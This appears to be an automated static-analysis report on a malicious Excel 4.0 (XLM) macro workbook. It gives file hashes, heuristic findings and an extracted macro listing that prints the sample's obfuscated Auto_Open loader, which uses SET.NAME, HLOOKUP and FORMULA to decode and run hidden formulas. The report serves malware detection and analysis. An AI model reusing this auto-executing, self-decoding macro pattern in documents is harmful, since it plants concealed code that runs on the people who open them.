Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 88ada3190ba1a8b6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:06 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: dd5c2a9d60630080fb4f59deb50bf919 SHA-1: f2b3929bc30dd1acf25426ec9fb47f95120a8cd8 SHA-256: 88ada3190ba1a8b607fd85e661999c61c77dcbb5b0f3b8c1cbd6293200cc5490
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6439 bytes
SHA-256: 3b504a12f90f1bb878da228346bf1ad4cc81711437cbd1ce675989ab4334c6bd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ednUJ
' 0018     25 LABEL : Cell Value, String Constant - AehPRuSYNk len=0 
' 0018     23 LABEL : Cell Value, String Constant - afhFMVwN len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H149 
' 0018     21 LABEL : Cell Value, String Constant - BhmjPT len=0 
' 0018     23 LABEL : Cell Value, String Constant - BIJZtjaK len=0 
' 0018     26 LABEL : Cell Value, String Constant - BiyCcmKtMBV len=0 
' 0018     25 LABEL : Cell Value, String Constant - daMZQazJLl len=0 
' 0018     20 LABEL : Cell Value, String Constant - hBZix len=0 
' 0018     27 LABEL : Cell Value, String Constant - HySDbGIOeYox len=0 
' 0018     26 LABEL : Cell Value, String Constant - JbVFvMEkYhF len=0 
' 0018     23 LABEL : Cell Value, String Constant - MQPHAcpe len=0 
' 0018     27 LABEL : Cell Value, String Constant - nAsmapDZAMdK len=0 
' 0018     22 LABEL : Cell Value, String Constant - rlSImtb len=0 
' 0018     21 LABEL : Cell Value, String Constant - RXAoUR len=0 
' 0018     21 LABEL : Cell Value, String Constant - SaQvOc len=0 
' 0018     23 LABEL : Cell Value, String Constant - TUciLrUC len=0 
' 0018     20 LABEL : Cell Value, String Constant - tuzJo len=0 
' 0018     25 LABEL : Cell Value, String Constant - VXkFynxcOr len=0 
' 0018     23 LABEL : Cell Value, String Constant - WdDsfcYF len=0 
' 0018     21 LABEL : Cell Value, String Constant - wLeYEd len=0 
' 0018     23 LABEL : Cell Value, String Constant - WVMPfACn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ednUJ,H53,"SET.NAME("HySDbGIOeYox",VALUE("0"))",""
'  ednUJ,H55,"SET.NAME("AehPRuSYNk",HySDbGIOeYox)",""
'  ednUJ,H57,"SET.NAME("VXkFynxcOr",HySDbGIOeYox)",""
'  ednUJ,H62,"SET.NAME("BhmjPT",COUNTA(BIJZtjaK))",""
'  ednUJ,H66,"SET.NAME("TUciLrUC",COUNTA(JbVFvMEkYhF))",""
'  ednUJ,H70,[],""
'  ednUJ,H75,"SET.NAME("wLeYEd","")",""
'  ednUJ,H79,"AehPRuSYNk",""
'  ednUJ,H84,"SET.NAME("WdDsfcYF",HLOOKUP("*",BIJZtjaK,AehPRuSYNk,FALSE))",""
'  ednUJ,H88,"nAsmapDZAMdK",""
'  ednUJ,H92,"SET.NAME("BiyCcmKtMBV",HySDbGIOeYox)",""
'  ednUJ,H97,[],""
'  ednUJ,H99,"BiyCcmKtMBV",""
'  ednUJ,H103,"SaQvOc",""
'  ednUJ,H105,"RXAoUR",""
'  ednUJ,H108,"daMZQazJLl",""
'  ednUJ,H113,"SET.NAME("afhFMVwN",VALUE(HLOOKUP("*",JbVFvMEkYhF,daMZQazJLl,FALSE)))",""
'  ednUJ,H116,"hBZix",""
'  ednUJ,H120,"wLeYEd",""
'  ednUJ,H123,"VXkFynxcOr",""
'  ednUJ,H128,NEXT(),""
'  ednUJ,H131,"WVMPfACn",""
'  ednUJ,H134,"SET.NAME("f",INT(T(FORMULA(T(wLeYEd)&"",""&T(WVMPfACn)))))",""
'  ednUJ,H137,"tuzJo",""
'  ednUJ,H139,NEXT(),""
'  ednUJ,H144,RETURN(),""
'  ednUJ,H176,"SET.NAME("rlSImtb",H53)",""
'  ednUJ,H180,"BIJZtjaK",""
'  ednUJ,H184,"SET.NAME("JbVFvMEkYhF",R95C15)",""
'  ednUJ,H187,"SET.NAME("tuzJo",197)",""
'  ednUJ,H192,"SET.NAME("MQPHAcpe",8)",""
'  ednUJ,H196,rlSImtb(),""
'  ednUJ,H197,HALT(),""

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